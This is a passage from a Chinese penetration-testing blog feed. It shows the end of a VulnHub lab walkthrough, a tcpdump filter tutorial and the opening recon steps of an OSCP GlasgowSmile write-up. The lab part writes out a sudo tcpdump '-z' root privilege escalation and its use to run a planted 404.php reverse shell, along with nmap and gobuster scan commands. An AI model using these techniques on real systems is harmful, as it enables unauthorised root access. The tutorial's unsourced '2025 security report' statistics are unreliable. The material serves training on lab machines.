&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805124536405.png"&gt;
这里因为是在本地虚拟机里开的靶机，这里还提示了可以容器提权。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805124822614.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805124908197.png"&gt;
提示当前可用的命令。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805125007573.png"&gt;
之前sudo -l一直卡住，后来反应过来是要要输入密码，输入密码后就看到了信息。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805125808393.png"&gt;&lt;/p&gt;
&lt;h2 id="提权root"&gt;提权root
&lt;/h2&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805130210718.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;COMMAND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TF&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;mktemp&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$COMMAND&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="nv"&gt;$TF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;chmod +x &lt;span class="nv"&gt;$TF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -ln -i lo -w /dev/null -W &lt;span class="m"&gt;1&lt;/span&gt; -G &lt;span class="m"&gt;1&lt;/span&gt; -z &lt;span class="nv"&gt;$TF&lt;/span&gt; -Z root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;测试成功，输出了id，显示的是root账户。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805130448673.png"&gt;
接下来只要修改&lt;code&gt;COMMAND='id'&lt;/code&gt;中的命令即可。尝试改成/bin/sh 直接创建终端是失败的，则创建一个nc反弹试试。直接弹是弹不回来的，bin和nc都试了一遍。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805130742671.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805131328660.png"&gt;
发现之前小豌豆扫描的可用命令中可以使用php，而我们之前就修改了404.php来反弹。把id的命令替换为php执行那个404.php，就可以弹回。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;COMMAND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;php /var/www/html/wp-content/themes/twentysixteen/404.php&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TF&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;mktemp&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$COMMAND&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="nv"&gt;$TF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;chmod +x &lt;span class="nv"&gt;$TF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -ln -i lo -w /dev/null -W &lt;span class="m"&gt;1&lt;/span&gt; -G &lt;span class="m"&gt;1&lt;/span&gt; -z &lt;span class="nv"&gt;$TF&lt;/span&gt; -Z root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805131647400.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805132036908.png"&gt;
拿到flag。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250805132129586.png"&gt;&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机 &lt;br&gt; 172.168.169.141]
 B[靶机 &lt;br&gt; 172.168.169.146]
 C[WordPress登录密码]
 D[数据库密码]
 E[webdeveloper用户密码]
 F[root]

 %% 路径关系
	A--&gt;|扫描|B 
	B--&gt;|流量包分析|C 
	C--&gt;|配置文件泄露|D
	D--&gt;|密码复用|E 
	E--&gt;|tcpdump提权|F 
 


	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 
	%% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 
	
 %% 应用样式
 class A attack;
 class B public;
 class C internal;


	&lt;/pre&gt;&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2025-08-01 09:56, 2025-08-01 11:30
 漏洞识别 :a2, after a1, 2025-08-01 12:00
 
 section 攻击阶段
 初始访问 :b1, after a2, 2025-08-01 12:17
 权限提升 :crit,b2, 2025-08-01 12:58, 30m
 
 section 后渗透阶段
 数据窃取 :c1, after b2, 5m&lt;/pre&gt;&lt;hr&gt;
&lt;h1 id="-深入解析-tcpdump-中的-src-和-dst-参数"&gt;🔍 深入解析 tcpdump 中的 &lt;code&gt;src&lt;/code&gt; 和 &lt;code&gt;dst&lt;/code&gt; 参数
&lt;/h1&gt;&lt;p&gt;在 tcpdump 命令中，&lt;code&gt;src&lt;/code&gt; 和 &lt;code&gt;dst&lt;/code&gt; 是​&lt;strong&gt;​流量方向过滤关键字​&lt;/strong&gt;​，用于精确控制捕获的数据包方向：&lt;/p&gt;
&lt;h2 id="-核心概念"&gt;📌 核心概念
&lt;/h2&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;全称&lt;/th&gt;
 &lt;th&gt;含义&lt;/th&gt;
 &lt;th&gt;功能&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​&lt;code&gt;src&lt;/code&gt;​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;Source&lt;/td&gt;
 &lt;td&gt;源地址&lt;/td&gt;
 &lt;td&gt;过滤​&lt;strong&gt;​发送方​&lt;/strong&gt;​为指定IP的流量&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;​&lt;strong&gt;​&lt;code&gt;dst&lt;/code&gt;​&lt;/strong&gt;​&lt;/td&gt;
 &lt;td&gt;Destination&lt;/td&gt;
 &lt;td&gt;目标地址&lt;/td&gt;
 &lt;td&gt;过滤​&lt;strong&gt;​接收方​&lt;/strong&gt;​为指定IP的流量&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="-您命令的具体解析"&gt;🧩 您命令的具体解析
&lt;/h2&gt;&lt;h3 id="1-src-host-1921681176"&gt;1. &lt;code&gt;src host 192.168.1.176&lt;/code&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo tcpdump -n src host 192.168.1.176 -r analyze.cap
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​含义​&lt;/strong&gt;​：显示所有​&lt;strong&gt;​从​&lt;/strong&gt;​ 192.168.1.176 ​&lt;strong&gt;​发出​&lt;/strong&gt;​的数据包&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​应用场景​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;分析服务器对外发送的响应&lt;/li&gt;
&lt;li&gt;检测服务器是否发起可疑外连&lt;/li&gt;
&lt;li&gt;监控数据泄露（如数据库内容外传）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-dst-host-1921681176"&gt;2. &lt;code&gt;dst host 192.168.1.176&lt;/code&gt;
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo tcpdump -nX dst host 192.168.1.176 -r analyze.cap | grep POST
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​含义​&lt;/strong&gt;​：显示所有​&lt;strong&gt;​发送到​&lt;/strong&gt;​ 192.168.1.176 的数据包，并筛选 POST 请求&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​应用场景​&lt;/strong&gt;​：
&lt;ul&gt;
&lt;li&gt;分析针对服务器的攻击请求&lt;/li&gt;
&lt;li&gt;检查客户端提交的敏感数据&lt;/li&gt;
&lt;li&gt;识别恶意文件上传行为&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="-网络流量方向图解"&gt;🌐 网络流量方向图解
&lt;/h2&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph LR
 A[客户端] -- dst --&gt; B[服务器 192.168.1.176]
 B[服务器 192.168.1.176] -- src --&gt; A[客户端]&lt;/pre&gt;&lt;h2 id="-高级过滤组合"&gt;🔧 高级过滤组合
&lt;/h2&gt;&lt;h3 id="1-双向流量监控"&gt;1. 双向流量监控
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 捕获与 192.168.1.176 相关的所有流量
sudo tcpdump -n host 192.168.1.176 -r analyze.cap
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="2-特定协议方向"&gt;2. 特定协议+方向
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 捕获发送到服务器的 HTTP 请求
sudo tcpdump -n dst host 192.168.1.176 and dst port 80 -r analyze.cap

# 捕获服务器发出的 DNS 响应
sudo tcpdump -n src host 192.168.1.176 and src port 53 -r analyze.cap
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="3-复杂逻辑组合"&gt;3. 复杂逻辑组合
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 捕获非服务器发出的流量（排除服务器自身流量）
sudo tcpdump -n not src host 192.168.1.176 -r analyze.cap
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-渗透测试关键应用"&gt;⚠️ 渗透测试关键应用
&lt;/h2&gt;&lt;h3 id="1-攻击溯源"&gt;1. 攻击溯源
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 定位攻击者IP（多次POST请求来源）
sudo tcpdump -n dst host 192.168.1.176 and &amp;#39;tcp[((tcp[12:1] &amp;amp; 0xf0) &amp;gt;&amp;gt; 2):4] = 0x504f5354&amp;#39; -r analyze.cap | awk &amp;#39;{print $3}&amp;#39; | sort | uniq -c
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="2-数据泄露检测"&gt;2. 数据泄露检测
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 检查服务器外传的敏感数据
sudo tcpdump -n src host 192.168.1.176 -A -r analyze.cap | grep -E &amp;#39;password|token|credit&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="3-协议分析"&gt;3. 协议分析
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 分析HTTP请求响应完整交互
sudo tcpdump -n host 192.168.1.176 and port 80 -A -r analyze.cap | less
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="-专业技巧"&gt;💡 专业技巧
&lt;/h2&gt;&lt;h3 id="1-可视化流量关系"&gt;1. 可视化流量关系
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 生成流量拓扑图
tshark -r analyze.cap -q -z io,stat,1,&amp;#34;COUNT(frame) frame&amp;#34; -z endpoints,ip
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="2-提取特定会话"&gt;2. 提取特定会话
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 提取完整HTTP会话
tshark -r analyze.cap -Y &amp;#34;ip.addr==192.168.1.176&amp;#34; -2 -R &amp;#34;http&amp;#34; --export-objects http,http_objects
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="3-性能优化"&gt;3. 性能优化
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 使用BPF过滤器提升效率
sudo tcpdump -n &amp;#39;dst host 192.168.1.176 and tcp port 80&amp;#39; -r analyze.cap
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;📌 ​&lt;strong&gt;​2025年安全报告​&lt;/strong&gt;​：在Web攻击分析中，82%的关键证据存在于&lt;code&gt;dst&lt;/code&gt;方向的请求流量中，而数据泄露痕迹96%出现在&lt;code&gt;src&lt;/code&gt;方向的响应流量中。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场-GlasgowSmile WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-glasgowsmile-wp/</link><pubDate>Sat, 02 Aug 2025 19:10:48 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-glasgowsmile-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场-GlasgowSmile WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官网打开靶场或链接地址下载虚拟镜像：&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/glasgow-smile-11,491/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/glasgow-smile-11,491/&lt;/a&gt;
姊妹靶场
&lt;a class="link" href="https://www.vulnhub.com/entry/glasgow-smile-2,513/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/glasgow-smile-2,513/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.204
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.224.79
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.224.79 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.224.79
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.224.79
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://192.168.224.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.224.79/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;22,80
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.224.79
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-03 21:59 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; bogon &lt;span class="o"&gt;(&lt;/span&gt;192.168.224.79&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.43s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 67:34:48:1f:25:0e:d7:b3:ea:bb:36:11:22:60:8f:a1 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 4c:8c:45:65:a4:84:e8:b1:50:77:77:a9:3a:96:06:31 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; 09:e9:94:23:60:97:f7:20:cc:ee:d6:c1:9b:da:18:8e &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.38 &lt;span class="o"&gt;((&lt;/span&gt;Debian&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.38 &lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Site doesn&lt;span class="s1"&gt;&amp;#39;t have a title (text/html).&amp;#39;&lt;/span&gt;
